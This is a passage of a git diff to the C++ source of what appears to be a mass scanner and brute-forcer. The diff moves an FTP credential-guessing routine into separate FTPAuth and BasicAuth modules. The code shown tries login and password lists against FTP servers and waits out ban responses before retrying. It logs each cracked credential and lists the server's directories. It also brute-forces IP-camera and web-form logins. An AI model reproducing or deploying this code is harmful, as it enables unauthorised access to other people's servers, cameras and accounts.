SOCKET_ERROR) - { - x = 0; - while (true) - { - Sleep(100); - ZeroMemory(recvBuff, 1024); - x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); - if(x <= 0) break; - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); +// Activity += x; +// closedSocket = 0; +// if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) +// { +// CSSOCKET(sockFTP); +// stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); +// strcpy(lps.other, "Unknown protocol (451 Error)"); +// return lps; +// }; - Activity += x; - closedSocket = 0; - if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); - strcpy(lps.other, "Unknown protocol (451 Error)"); - return lps; - }; +// if(strstri(recvBuff, "only anonymous") != NULL) +// { +// CSSOCKET(sockFTP); +// stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); - if(strstri(recvBuff, "only anonymous") != NULL) - { - CSSOCKET(sockFTP); - isActive = 0; - stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); +// strcpy(lps.login, "anonymous"); +// strcpy(lps.pass, "1"); +// return lps; +// }; - strcpy(lps.login, "anonymous"); - strcpy(lps.pass, "1"); - return lps; - }; +// if(strstr(recvBuff, "550 no connections allowed") != NULL +// || strstr(recvBuff, "550-") != NULL +// ) +// { +// CSSOCKET(sockFTP); - if(strstr(recvBuff, "550 no connections allowed") != NULL - || strstr(recvBuff, "550-") != NULL - ) - { - CSSOCKET(sockFTP); +// stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); - isActive = 0; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; +// if(strstr(recvBuff, "no such command")) +// { +// CSSOCKET(sockFTP); - stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); +// stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); +// strcpy(lps.other, "[500 Sorry, no such command]"); +// return lps; +// }; +// if((strstr(recvBuff, "500 ") != NULL +// || strstr(recvBuff, "500-") != NULL +// ) +// && strstri(recvBuff, "500 oops") == NULL +// ) +// { +// j = 0; +// break; +// }; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; +// if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) +// { +// break; +// }; - if(strstr(recvBuff, "no such command")) - { - CSSOCKET(sockFTP); +// if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) +// { +// ++i; +// break; +// }; - isActive = 0; - stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); - strcpy(lps.other, "[500 Sorry, no such command]"); - return lps; - }; +// if(globalScanFlag == false) break; - if((strstr(recvBuff, "500 ") != NULL - || strstr(recvBuff, "500-") != NULL - ) - && strstri(recvBuff, "500 oops") == NULL - ) - { - j = 0; - break; - }; +// if((strstr(recvBuff, "530 Sorry") != NULL) +// || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) +// || strstr(recvBuff, "exceeded") != NULL +// || strstr(recvBuff, "421 Too many") != NULL +// || strstr(recvBuff, "from this IP") != NULL +// || strstr(recvBuff, "from your IP") != NULL) +// { +// stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); +// if(j > 0) --j; +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// Sleep(30000); +// break; +// } +// else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) +// { +// strcpy(request, "USER "); +// if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); +// else +// { +// loginFailedFlag = 1; +// break; +// }; +// strcat(request, "\r\n"); +// if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) +// { +// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); +// Activity += strlen(request); - if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) - { - break; - }; +// ZeroMemory(request, sizeof(request)); +// } +// else +// { +// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); +// }; +// } +// else if(strstr(recvBuff, "530") != NULL +// || strstr(recvBuff, "Login incorrect") != NULL +// || strstri(recvBuff, "500 oops") != NULL +// ) +// { +// loginFailedFlag = 1; +// break; +// } +// else if(strstr(recvBuff, "331") != NULL) +// { +// if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL +// || strstr(recvBuff, "Rejected--secure connection required") != NULL +// ) +// { +// stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); +// CSSOCKET(sockFTP); +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// } +// else if(strstri(recvBuff, "permission denied") == NULL) +// { +// strcpy(request, "PASS "); +// if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); +// else +// { +// loginFailedFlag = 1; +// break; +// }; +// strcat(request, "\r\n"); +// if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) +// { +// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) - { - ++i; - break; - }; +// Activity += strlen(request); +// ZeroMemory(request, sizeof(request)); - if(globalScanFlag == false) break; +// if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); +// ++passCounter; +// } +// else +// { +// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); +// }; +// } +// else +// { +// breakPassLoop = 1; +// stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); +// break; +// }; +// } +// else if(strstr(recvBuff, "230") != NULL) +// { +// char pass[128] = {0}; - if((strstr(recvBuff, "530 Sorry") != NULL) - || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) - || strstr(recvBuff, "exceeded") != NULL - || strstr(recvBuff, "421 Too many") != NULL - || strstr(recvBuff, "from this IP") != NULL - || strstr(recvBuff, "from your IP") != NULL) - { - stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); - if(j > 0) --j; - ZeroMemory(recvBuff, sizeof(recvBuff)); - Sleep(30000); - break; - } - else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) - { - strcpy(request, "USER "); - if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - Activity += strlen(request); +// strcpy(pass, ip); +// strcat(pass, " - FTP Password found: "); +// strcat(pass, loginLst[i]); +// strcat(pass, ":"); +// strcat(pass, passLst[j]); - ZeroMemory(request, sizeof(request)); - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else if(strstr(recvBuff, "530") != NULL - || strstr(recvBuff, "Login incorrect") != NULL - || strstri(recvBuff, "500 oops") != NULL - ) - { - loginFailedFlag = 1; - break; - } - else if(strstr(recvBuff, "331") != NULL) - { - if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL - || strstr(recvBuff, "Rejected--secure connection required") != NULL - ) - { - stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); - CSSOCKET(sockFTP); +// char recvBuff2[2048] = {0}; +// if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) +// { +// int x = 1, xx = 0; +// while(x != 0) +// { +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); +// xx += x; +// if(xx < 1536) strncat(recvBuff2, recvBuff, x); +// else break; +// }; - isActive = 0; +// if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) +// { +// stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); +// CSSOCKET(sockFTP); +// strcpy(lps.login, loginLst[i]); +// strcpy(lps.pass, passLst[j]); +// strcpy(lps.other, "ROUTER"); +// return lps; +// }; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else if(strstri(recvBuff, "permission denied") == NULL) - { - strcpy(request, "PASS "); - if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); - else - { - loginFailedFlag = 1; - break; - }; - strcat(request, "\r\n"); - if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) - { - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); +// char *ptr0 = strstr(recvBuff2, "227 "); - Activity += strlen(request); - ZeroMemory(request, sizeof(request)); +// if( ptr0 != NULL ) +// { +// if(strstr(ptr0, "(") != NULL) +// { +// char pasvData[32] = {0}; +// char *ptr1 = strstr(ptr0, "("); +// char *ptr2 = strstr(ptr0, ")"); +// int sz = ptr2 - ptr1 - 1; +// strncpy(pasvData, ptr1 + 1, sz); +// char *ptr3 = strstr(pasvData, ","); +// ptr3 = strstr(ptr3 + 1, ","); +// ptr3 = strstr(ptr3 + 1, ","); +// ptr3 = strstr(ptr3 + 1, ","); - if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); - ++passCounter; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - }; - } - else - { - breakPassLoop = 1; - stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); - break; - }; - } - else if(strstr(recvBuff, "230") != NULL) - { - char pass[128] = {0}; +// if(ptr3 != NULL) +// { +// char *ptrP2 = strstr(ptr3 + 1, ","); +// char p1c[8] = {0}; +// sz = ptrP2 - ptr3 - 1; +// strncpy(p1c, ptr3 + 1, sz); +// int p1 = atoi(p1c); +// int p2 = atoi(ptrP2 + 1); +// port = p1 * 256 + p2; - strcpy(pass, ip); - strcat(pass, " - FTP Password found: "); - strcat(pass, loginLst[i]); - strcat(pass, ":"); - strcat(pass, passLst[j]); +// sockAddr.sin_port = htons(port); +// SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); +// connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - char recvBuff2[2048] = {0}; - if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) - { - int x = 1, xx = 0; - while(x != 0) - { - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); - xx += x; - if(xx < 1536) strncat(recvBuff2, recvBuff, x); - else break; - }; - - if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) - { - stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); - CSSOCKET(sockFTP); - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); - strcpy(lps.other, "ROUTER"); - isActive = 0; - return lps; - }; - - char *ptr0 = strstr(recvBuff2, "227 "); - - if( ptr0 != NULL ) - { - if(strstr(ptr0, "(") != NULL) - { - char pasvData[32] = {0}; - char *ptr1 = strstr(ptr0, "("); - char *ptr2 = strstr(ptr0, ")"); - int sz = ptr2 - ptr1 - 1; - strncpy(pasvData, ptr1 + 1, sz); - char *ptr3 = strstr(pasvData, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - ptr3 = strstr(ptr3 + 1, ","); - - if(ptr3 != NULL) - { - char *ptrP2 = strstr(ptr3 + 1, ","); - char p1c[8] = {0}; - sz = ptrP2 - ptr3 - 1; - strncpy(p1c, ptr3 + 1, sz); - int p1 = atoi(p1c); - int p2 = atoi(ptrP2 + 1); - port = p1 * 256 + p2; - - sockAddr.sin_port = htons(port); - SOCKET newSockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - connectionResult = connect(newSockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - - send(sockFTP, "LIST\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - send(sockFTP, "MLSD\r\n", 6, 0); - ZeroMemory(recvBuff, sizeof(recvBuff)); - x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); - if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) - { - stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); +// send(sockFTP, "LIST\r\n", 6, 0); +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// int x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); +// if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) +// { +// send(sockFTP, "MLSD\r\n", 6, 0); +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// x = recvWT(newSockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 3, &bTO); +// if(x <= 0 || strstr(recvBuff, "unknown command") != NULL) +// { +// stt->doEmition_BAGreenData("[?] " + QString(pass) + " [MLSD&LIST failed or server closed connection.]"); - CSSOCKET(sockFTP); - CSSOCKET(newSockFTP); - closedSocket = 1; - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - } - else { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; - } - else - { - stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); - ps->directoryCount = _countFTPDirectories(recvBuff); - }; +// CSSOCKET(sockFTP); +// CSSOCKET(newSockFTP); +// closedSocket = 1; +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// } +// else { +// stt->doEmition_BAGreenData("[+] " + QString(pass) + " [MLSD succeeded]"); +// ps->directoryCount = _countFTPDirectories(recvBuff); +// }; +// } +// else +// { +// stt->doEmition_BAGreenData("[+] " + QString(pass) + " [LIST succeeded]"); +// ps->directoryCount = _countFTPDirectories(recvBuff); +// }; - CSSOCKET(newSockFTP); - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); - }; - } - else - { - stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); - }; +// CSSOCKET(newSockFTP); +// } +// else +// { +// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV failed]"); +// }; +// } +// else +// { +// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); +// }; +// } +// else +// { +// stt->doEmitionYellowFoundData("[*] " + QString(ip) + " [PASV TO] Failed!"); +// }; - if(xx > 1) - { - strcpy(ps->headr, "</a><pre><font color=\"goldenrod\"> ("); - strncat(ps->headr, recvBuff, 256); - strcat(ps->headr, ")</font></pre>"); - }; +// if(xx > 1) +// { +// strcpy(ps->headr, "</a><pre><font color=\"goldenrod\"> ("); +// strncat(ps->headr, recvBuff, 256); +// strcat(ps->headr, ")</font></pre>"); +// }; - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); +// strcpy(lps.login, loginLst[i]); +// strcpy(lps.pass, passLst[j]); - CSSOCKET(sockFTP); - isActive = 0; - return lps; - } - else - { - stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); +// CSSOCKET(sockFTP); +// return lps; +// } +// else +// { +// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); - strcpy(lps.login, loginLst[i]); - strcpy(lps.pass, passLst[j]); +// strcpy(lps.login, loginLst[i]); +// strcpy(lps.pass, passLst[j]); - CSSOCKET(sockFTP); - isActive = 0; - return lps; - }; - }; - }; +// CSSOCKET(sockFTP); +// return lps; +// }; +// }; +// }; - CSSOCKET(sockFTP); - closedSocket = 1; - ZeroMemory(recvBuff, sizeof(recvBuff)); - } - else - { - int WSAerr; - if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = WSAETIMEDOUT; +// CSSOCKET(sockFTP); +// closedSocket = 1; +// ZeroMemory(recvBuff, sizeof(recvBuff)); +// } +// else +// { +// int WSAerr; +// if(connectionResult == -1) WSAerr = WSAGetLastError(); +// else WSAerr = WSAETIMEDOUT; - if(gThreads > 1 - && WSAerr != WSAETIMEDOUT/*Timeout*/ - && WSAerr != WSAENOBUFS/*POOLOVERFLOW*/ - && WSAerr != WSAECONNREFUSED/*WSAECONNREFUSED*/ - && WSAerr != WSAECONNRESET/*WSAECONNRESET*/ - && WSAerr != 0) - { - stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); - }; - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; +// if(gThreads > 1 +// && WSAerr != WSAETIMEDOUT/*Timeout*/ +// && WSAerr != WSAENOBUFS/*POOLOVERFLOW*/ +// && WSAerr != WSAECONNREFUSED/*WSAECONNREFUSED*/ +// && WSAerr != WSAECONNRESET/*WSAECONNRESET*/ +// && WSAerr != 0) +// { +// stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); +// }; +// CSSOCKET(sockFTP); +// strcpy(lps.login, "UNKNOWN"); +// return lps; +// }; - Sleep(100); +// Sleep(100); - if(breakPassLoop) - { - breakPassLoop = false; - break; - }; - }; - }; +// if(breakPassLoop) +// { +// breakPassLoop = false; +// break; +// }; +// }; +// }; - CSSOCKET(sockFTP); - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; -} +// CSSOCKET(sockFTP); +// strcpy(lps.login, "UNKNOWN"); +// return lps; +//} -lopaStr _FTPLobby(char *ip, int port, PathStr *ps) -{ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); +//lopaStr _FTPLobby(char *ip, int port, PathStr *ps) +//{ +// while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); +// lopaStr lps; +// ZeroMemory(lps.login, sizeof(lps.login)); +// ZeroMemory(lps.pass, sizeof(lps.pass)); +// ZeroMemory(lps.other, sizeof(lps.other)); - BruteUtils::BConInc(); - lps = _FTPBrute(ip, port, ps); - BruteUtils::BConDec(); +// BruteUtils::BConInc(); +// lps = _FTPBrute(ip, port, ps); +// BruteUtils::BConDec(); - return lps; -} +// return lps; +//} int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) { @@ -1414,8 +1396,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) ZeroMemory(lps.other, sizeof(lps.other)); char login[128] = {0}; char pass[128] = {0}; - char request[1024] = {0}; - isActive = 1; + char request[1024] = {0}; int passCounter = 1; std::vector<char*> negVector; @@ -1470,7 +1451,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) else { stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); - isActive = 0; + strcpy(lps.login, "UNKNOWN"); return lps; }; @@ -1688,22 +1669,20 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); if(res == 1) - { - isActive = 0; + { strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); return lps; } else if(res == -1) - { - isActive = 0; + { strcpy(lps.login, "UNKNOWN"); return lps; }; ++passCounter; }; - }; - isActive = 0; + }; + strcpy(lps.login, "UNKNOWN"); return lps; } diff --git a/externData.h b/externData.h index a696a3f..160f8b0 100644 --- a/externData.h +++ b/externData.h @@ -27,7 +27,7 @@ extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, BALogSwitched; extern int found, indexIP, gMode, MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass, - GlobalNegativeSize, isActive, gMaxBrutingThreads, + GlobalNegativeSize, gMaxBrutingThreads, gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, Susp, diff --git a/finder.cpp b/finder.cpp index 0019508..ff86826 100644 --- a/finder.cpp +++ b/finder.cpp @@ -4,6 +4,8 @@ #include "externData.h" #include "WebformWorker.h" #include "Connector.h" +#include "BasicAuth.h" +#include "FTPAuth.h" #include <memory> char* strstri(const char *_Str, const char *_SubStr) @@ -404,7 +406,8 @@ int ContentFilter(const char *buff, int port, char *ip, char *cp) else return -1; } -void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, char *login, char *pass, char *comment, char *cdpg, char *clss) +void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, + const char *login, const char *pass, char *comment, char *cdpg, char *clss) { if(trackerOK == true) { @@ -648,7 +651,6 @@ void fputsf(char *text, int flag, char *msg) fputs (topBuff, file); }; - int innerCounter = 0; while(fOpened) { @@ -658,7 +660,7 @@ void fputsf(char *text, int flag, char *msg) break; }; ++innerCounter; - Sleep((rand() % 300 + 60)); + Sleep((rand() % 100 + 60)); }; fOpened = true; fputs (string, file); @@ -793,35 +795,19 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h ZeroMemory(msg, strlen(msg)); } -void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) { - char log[512] = {0}; + char log[512] = {0}; ++PieBA; - - strcpy(log, "[BA]:"); - strcat(log, "<span id=\"hostSpan\"><a href=\"http://"); - if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) { - strcat(log, login); - strcat(log, ":"); - strcat(log, pass); - strcat(log, "@"); - } - strcat(log, ip); - strcat(log, port); - strcat(log, "\"><font color=MediumSeaGreen>"); - if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) { - strcat(log, login); - strcat(log, ":"); - strcat(log, pass); - strcat(log, "@"); - } - strcat(log, ip); - strcat(log, port); - strcat(log, "</font></a></span> T: <font color=GoldenRod>"); - strcat(log, finalstr); - strcat(log, "</font>"); - strcat(log, "\n"); + if(strcmp(login, "NULL") != 0 && strcmp(pass, "NULL") != 0) + { + sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s:%s@%s%s\"><font color=MediumSeaGreen>%s:%s@%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n", + login, pass, ip, port, login, pass, ip, port, finalstr); + } else { + sprintf(log, "[BA]:<span id=\"hostSpan\"><a href=\"http://%s%s\"><font color=MediumSeaGreen>%s%s</font></a></span> T: <font color=GoldenRod>%s</font>\n", + ip, port, ip, port, finalstr); + } stt->doEmitionFoundData(QString::fromLocal8Bit(log)); @@ -1039,10 +1025,8 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key) }; } -void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) +void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) { - char cookie[1024] = {0}; - if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) { if(gNegDebugMode) @@ -1050,8 +1034,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#0084ff\">" + QString(ip) + ":" + QString::number(port) + "</font></a>" + "] Ignoring: Captcha detected."); }; return; - }; - isActive = 1; + }; char methodVal[128] = {0}; char actionVal[512] = {0}; @@ -1208,8 +1191,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path ///fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, "", "", "UnknownWebform", cp, tclass); ///putInFile(flag, ip, tport, recd, title, hl, cp); }; - }; - isActive = 0; + }; } void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) @@ -1231,19 +1213,18 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, }; } -void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd) +void _specBrute(char *cookie, char *ip, int port, + char *hl, char *finalstr, int flag, + char *path, char *comment, char *cp, int recd) { - isActive = 1; - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); char temp[64] = {0}; char tport[32] = {0}; sprintf(tport, ":%d", port); - if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]"); - else lps = _BALobby(cookie, ip, port, path, "[NORMAL]"); + const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port); + + //if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]"); + //else lps = _BALobby(cookie, ip, port, path, "[NORMAL]"); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1435,11 +1416,6 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, return -1; }; - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - PathStr ps; ps.port = p; strcpy(ps.ip, ip); @@ -1458,15 +1434,13 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, strcpy(ps.headr, GetTitle(buffcpy)); ps.flag = flag; - char pps[256] = {0}; - strcpy(pps, "/"); + char baPath[256] = {0}; + strcpy(baPath, "/"); - std::vector<std::string> redirStrLst; - char rBuff[65536] = {0}; - strncpy(rBuff, buffcpy, 65535); + std::vector<std::string> redirStrLst; if(flag == 0 || flag == 3 || flag == 7 ) { - int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); + int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst); strcpy(cp, ps.codepage); if (rh == -1) return -1; if(rh <= -2) @@ -1478,7 +1452,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, }; int sz = strlen(ps.path); - strncpy(pps, ps.path, (sz < 256 ? sz : 256)); + strncpy(baPath, ps.path, (sz < 256 ? sz : 256)); } else { @@ -1492,21 +1466,10 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, if(flag == 16) { - isActive = 1; - char log[2048] = {0}; char logEmit[2048] = {0}; -// strcpy(logEmit, "[FTP]:"); -// strcpy(log, "[FTP]:<font color=\"#0f62e2\">"); -// strcat(log, ip); -// strcat(log, ":"); -// strcat(log, port); -// strcat(log, "</font>"); -// strcat(log, "; Received: "); -// strncat(log, std::to_string(recd).c_str(), 100); - - lps = _FTPLobby(ip, p, &ps); + const lopaStr &lps = FTPA::_FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { @@ -1517,47 +1480,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, sprintf(logEmit, "[FTP]:<a href=\"ftp://%s:%s@%s/\"><span style=\"color: #ff6600;\">ftp://%s:%s@%s</span></a> <font color=\"#43EC00\"><a href=\"http://%s/\" style=\"color:#43EC00;\">[ROUTER]</a></font>", lps.login, lps.pass, ip, lps.login, lps.pass, ip, ip); -// strcat(log, "<a href=\"ftp://"); -// strcat(log, lps.login); -// strcat(log, ":"); -// strcat(log, lps.pass); -// strcat(log, "@"); -// strcat(log, ip); -// strcat(log, "/\"><span style=\"color: #ff6600;\">ftp://"); -// strcat(log, lps.login); -// strcat(log, ":"); -// strcat(log, lps.pass); -// strcat(log, "@"); -// strcat(log, ip); -// strcat(log, "</span></a> <font color=\"#43EC00\"><a href=\"http://"); -// strcat(log, ip); -// strcat(log, "\" style=\"color:#43EC00;\">[ROUTER]</a></font>"); -// strcat(log, ps.headr); - -// strcat(logEmit, "<a href=\"ftp://"); -// strcat(logEmit, lps.login); -// strcat(logEmit, ":"); -// strcat(logEmit, lps.pass); -// strcat(logEmit, "@"); -// strcat(logEmit, ip); -// strcat(logEmit, "/\"><span style=\"color: #ff6600;\">ftp://"); -// strcat(logEmit, lps.login); -// strcat(logEmit, ":"); -// strcat(logEmit, lps.pass); -// strcat(logEmit, "@"); -// 